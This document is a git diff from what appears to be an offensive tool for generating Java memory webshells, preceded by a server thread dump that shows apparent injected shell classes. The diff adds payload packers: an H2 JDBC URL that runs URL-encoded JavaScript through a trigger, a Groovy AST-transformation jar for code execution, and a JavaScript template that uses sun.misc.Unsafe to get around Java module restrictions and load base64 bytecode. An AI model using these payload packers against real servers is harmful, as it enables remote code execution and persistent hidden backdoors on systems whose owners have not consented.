TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default Accept" #129 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 83" #150 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@22eea920 + java.lang.Thread.State: WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.15/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.15/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 21" #48 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Cleaner-0" #17 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@16f5cf09 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.15/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.15/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"Reference Reaper #2" #139 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2092516f + java.lang.Thread.State: WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.7.0.Final-redhat-00003//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"default I/O-4" #110 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 3" #30 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-6" #112 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Periodic Recovery" #134 [TIMED_WAITING] on java.lang.Object@245eed91 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:679) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:799) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:386) + +"ServerService Thread Pool -- 22" #49 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-18" #124 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"ServerService Thread Pool -- 62" #94 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-20" #126 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 58" #87 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 49" #78 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 12" #39 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 2" #29 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 50" #79 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-1" #107 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + + +=========================================== + +StackClassNames: +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +io.undertow.security.handlers.AbstractConfidentialityHandler +io.undertow.security.handlers.AbstractSecurityContextAssociationHandler +io.undertow.server.Connectors +io.undertow.server.HttpServerExchange$1 +io.undertow.server.handlers.PredicateHandler +io.undertow.servlet.core.ContextClassLoaderSetupAction$1 +io.undertow.servlet.core.ManagedFilter +io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1 +io.undertow.servlet.handlers.FilterHandler +io.undertow.servlet.handlers.FilterHandler$FilterChainImpl +io.undertow.servlet.handlers.RedirectDirHandler +io.undertow.servlet.handlers.SendErrorPageHandler +io.undertow.servlet.handlers.ServletChain$1 +io.undertow.servlet.handlers.ServletDispatchingHandler +io.undertow.servlet.handlers.ServletHandler +io.undertow.servlet.handlers.ServletInitialHandler +io.undertow.servlet.handlers.ServletInitialHandler$1 +io.undertow.servlet.handlers.ServletInitialHandler$2 +io.undertow.servlet.handlers.security.SSLInformationAssociationHandler +io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler +io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler +io.undertow.servlet.handlers.security.ServletSecurityRoleHandler +io.undertow.servlet.spec.ServletPrintWriter +io.undertow.servlet.spec.ServletPrintWriterDelegate +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.threads.ContextClassLoaderSavingRunnable +org.jboss.threads.EnhancedQueueExecutor +org.jboss.threads.EnhancedQueueExecutor$ThreadBody +org.jboss.threads.JBossThread +org.springframework.nSmLh.ErrorHandler +org.wildfly.common.ref.References$ReaperThread +org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler +org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler$$Lambda$902/0x000000b0018e9000 +org.wildfly.elytron.web.undertow.server.servlet.CleanUpHandler +org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$862/0x000000b0018a4230 +org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler +org.wildfly.security.auth.server.FlexibleIdentityAssociation +org.wildfly.security.auth.server.Scoped +org.wildfly.security.auth.server.Scoped$$Lambda$903/0x000000b0018bb6d0 +org.wildfly.security.auth.server.Scoped$$Lambda$904/0x000000b0018bb970 +org.xnio.XnioWorker$WorkerThreadFactory$1$1 +org.xnio.nio.WorkerThread diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassAnnotationUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassAnnotationUtils.java new file mode 100644 index 00000000..242b7737 --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassAnnotationUtils.java @@ -0,0 +1,99 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.*; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class ClassAnnotationUtils { + + public static byte[] setAnnotation(byte[] bytes, String annotationClassName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, 0); + ClassVisitor cv = new AddAnnotationClassVisitor(cw, annotationClassName); + cr.accept(cv, 0); + return cw.toByteArray(); + } + + static class AddAnnotationClassVisitor extends ClassVisitor { + private final String annotationClassName; + + public AddAnnotationClassVisitor(ClassVisitor cv, String annotationClassName) { + super(Opcodes.ASM9, cv); + this.annotationClassName = annotationClassName.replace('.', '/'); + } + + @Override + public void visit( + int version, int access, String name, + String signature, String superName, String[] interfaces) { + + super.visit(version, access, name, signature, superName, interfaces); + super.visitAnnotation( + "L" + annotationClassName + ";", + true + ).visitEnd(); + } + } + + public static List getAnnotations(byte[] classBytes) { + ClassReader cr = new ClassReader(classBytes); + AnnotationCollectingVisitor cv = new AnnotationCollectingVisitor(); + cr.accept(cv, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES); + return cv.getAnnotations(); + } + + public static class AnnotationInfo { + public final String desc; + public final Map values = new HashMap<>(); + + public AnnotationInfo(String desc) { + this.desc = desc; + } + } + + public static class AnnotationCollectingVisitor extends ClassVisitor { + + private final List annotations = new ArrayList<>(); + + public AnnotationCollectingVisitor() { + super(Opcodes.ASM9); + } + + public List getAnnotations() { + return annotations; + } + + @Override + public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) { + AnnotationInfo info = new AnnotationInfo(descriptor); + annotations.add(info); + + return new AnnotationVisitor(Opcodes.ASM9) { + @Override + public void visit(String name, Object value) { + info.values.put(name, value); + } + + @Override + public AnnotationVisitor visitArray(String name) { + List array = new ArrayList<>(); + info.values.put(name, array); + + return new AnnotationVisitor(Opcodes.ASM9) { + @Override + public void visit(String name, Object value) { + array.add(value); + } + }; + } + }; + } + } +} diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java index 22c25c47..56ff8d7a 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java @@ -2,6 +2,7 @@ import org.objectweb.asm.ClassReader; import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.Opcodes; import org.objectweb.asm.commons.ClassRemapper; import org.objectweb.asm.commons.Remapper; import org.objectweb.asm.commons.SimpleRemapper; @@ -22,7 +23,7 @@ public static byte[] renameClass(byte[] classBytes, String newName) { String oldClassName = reader.getClassName(); String newClassName = newName.replace('.', '/'); ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); - ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(oldClassName, newClassName)); + ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(Opcodes.ASM9, oldClassName, newClassName)); reader.accept(adapter, 0); return writer.toByteArray(); } @@ -37,7 +38,7 @@ public static byte[] relocateClass(byte[] classBytes, String relocateClassPackag String oldClassName = relocateClassPackage.replace('.', '/'); String newClassName = relocatePrefix.replace('.', '/'); ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS); - ClassRemapper adapter = new ClassRemapper(writer, new Remapper() { + ClassRemapper adapter = new ClassRemapper(writer, new Remapper(Opcodes.ASM9) { @Override public String map(String typeName) { if (typeName.startsWith(oldClassName)) { diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java index f0c04dab..22a70ed4 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java @@ -12,7 +12,7 @@ public static byte[] addSuperClass(byte[] bytes, String superClassName) { return cw.toByteArray(); } - static class AddSuperClassAdapter extends ClassVisitor { + public static class AddSuperClassAdapter extends ClassVisitor { private final String newSuperName; public AddSuperClassAdapter(ClassVisitor cv, String newSuperName) { diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/MethodUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/MethodUtils.java new file mode 100644 index 00000000..10c5ec76 --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/MethodUtils.java @@ -0,0 +1,57 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.*; + +/** + * @author ReaJason + * @since 2025/12/7 + */ +public class MethodUtils { + + public static byte[] removeMethod(byte[] bytes, String methodName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(0); + RemoveMethodAdapter adapter = new RemoveMethodAdapter(cw, methodName); + cr.accept(adapter, 0); + return cw.toByteArray(); + } + + public static byte[] removeMethodByMethodDescriptor(byte[] bytes, String methodName, String methodDescriptor) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(0); + RemoveMethodAdapter adapter = new RemoveMethodAdapter(cw, methodName, methodDescriptor); + cr.accept(adapter, 0); + return cw.toByteArray(); + } + + static class RemoveMethodAdapter extends ClassVisitor { + private String methodName; + private String methodDescriptor; + + public RemoveMethodAdapter(ClassVisitor cv, String methodName) { + super(Opcodes.ASM9, cv); + this.methodName = methodName; + } + + public RemoveMethodAdapter(ClassVisitor cv, String methodName, String methodDescriptor) { + super(Opcodes.ASM9, cv); + this.methodName = methodName; + this.methodDescriptor = methodDescriptor; + } + + @Override + public MethodVisitor visitMethod( + int access, String name, String descriptor, + String signature, String[] exceptions) { + if (methodDescriptor != null) { + if (methodDescriptor.equals(descriptor) && methodName.equals(name)) { + return null; + } + } else if (methodName.equals(name)) { + return null; + } + return super.visitMethod(access, name, descriptor, signature, exceptions); + } + } + +} diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassAnnotationUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassAnnotationUtilsTest.java new file mode 100644 index 00000000..5cf59016 --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassAnnotationUtilsTest.java @@ -0,0 +1,28 @@ +package com.reajason.javaweb.asm; + +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import org.junit.jupiter.api.Test; + +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +class ClassAnnotationUtilsTest { + @Test + @SneakyThrows + void test() { + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(ClassInterfaceUtilsTest.EmptyInterface.class).make().getBytes(); + List rawAnnotations = ClassAnnotationUtils.getAnnotations(bytes); + byte[] newBytes = ClassAnnotationUtils.setAnnotation(bytes, interfaceName); + List annotations = ClassAnnotationUtils.getAnnotations(newBytes); + assertEquals(0, rawAnnotations.size()); + assertEquals(1, annotations.size()); + assertEquals("Ljavax/script/ScriptEngineFactory;", annotations.get(0).desc); + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 646a079d..c17a0818 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -17,6 +17,7 @@ import com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; import com.reajason.javaweb.packer.h2.H2JSPacker; +import com.reajason.javaweb.packer.h2.H2JSURLEncodePacker; import com.reajason.javaweb.packer.h2.H2JavacPacker; import com.reajason.javaweb.packer.h2.H2Packer; import com.reajason.javaweb.packer.jar.*; @@ -172,9 +173,11 @@ public enum Packers { H2(new H2Packer()), H2Javac(new H2JavacPacker(), H2Packer.class), H2JS(new H2JSPacker(), H2Packer.class), + H2JSURLEncode(new H2JSURLEncodePacker(), H2Packer.class), Jar(new DefaultJarPacker()), ScriptEngineJar(new ScriptEngineJarPacker()), + GroovyTransformJar(new GroovyTransformJarPacker()), XxlJob(new XxlJobPacker()), ; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java new file mode 100644 index 00000000..a145083f --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.packer.h2; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; + +import java.net.URLEncoder; + +/** + * @author ReaJason + * @since 2025/6/28 + */ +public class H2JSURLEncodePacker implements Packer { + String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\neval(decodeURIComponent('{{script}}'))$$"; + + @SneakyThrows + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + String encode = URLEncoder.encode(script, "UTF-8") + .replace("+", "%20") + .replace("%28", "(") + .replace("%29", ")"); + return template.replace("{{script}}", encode); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java new file mode 100644 index 00000000..a43cb139 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.packer.jar; + +import com.reajason.javaweb.asm.ClassAnnotationUtils; +import com.reajason.javaweb.asm.ClassInterfaceUtils; +import com.reajason.javaweb.packer.JarPacker; +import com.reajason.javaweb.packer.JarPackerConfig; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.nio.charset.StandardCharsets; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class GroovyTransformJarPacker implements JarPacker { + @Override + @SneakyThrows + public byte[] packBytes(JarPackerConfig config) { + String mainClassName = config.getMainClassName(); + byte[] mainClassBytes = config.getClassBytes().get(mainClassName); + mainClassBytes = ClassInterfaceUtils.addInterface(mainClassBytes, "org.codehaus.groovy.transform.ASTTransformation"); + mainClassBytes = ClassAnnotationUtils.setAnnotation(mainClassBytes, "org.codehaus.groovy.transform.GroovyASTTransformation"); + + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) { + targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class")); + targetJar.write(mainClassBytes); + targetJar.closeEntry(); + + targetJar.putNextEntry(new JarEntry("META-INF/services/org.codehaus.groovy.transform.ASTTransformation")); + targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8)); + targetJar.closeEntry(); + } + return outputStream.toByteArray(); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java index 0f0e5604..05090d6a 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java @@ -7,11 +7,16 @@ public class DefaultScriptEnginePacker implements Packer { private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngine.js"); + private final String jsBypassModuleTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineBypassModule.js"); @Override @SneakyThrows public String pack(ClassPackerConfig config) { - return scriptToSingleLine(jsTemplate + String template = jsTemplate; + if (config.isByPassJavaModule()) { + template = jsBypassModuleTemplate; + } + return scriptToSingleLine(template .replace("{{className}}", config.getClassName()) .replace("{{base64Str}}", config.getClassBytesBase64Str())); } diff --git a/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js b/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js new file mode 100644 index 00000000..16bc0c7d --- /dev/null +++ b/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js @@ -0,0 +1,33 @@ +var base64Str = "{{base64Str}}"; +var className = "{{className}}"; +var clsString = java.lang.Class.forName("java.lang.String"); +var bytecode; +try { + var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str); +} catch (ee) { + var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); + bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str); +} +var clsByteArray = (new java.lang.String("a").getBytes().getClass()); +var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); +theUnsafeMethod.setAccessible(true); +unsafe = theUnsafeMethod.get(null); +var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection"); +var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes(); +var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null); +var fieldFilterMapField = 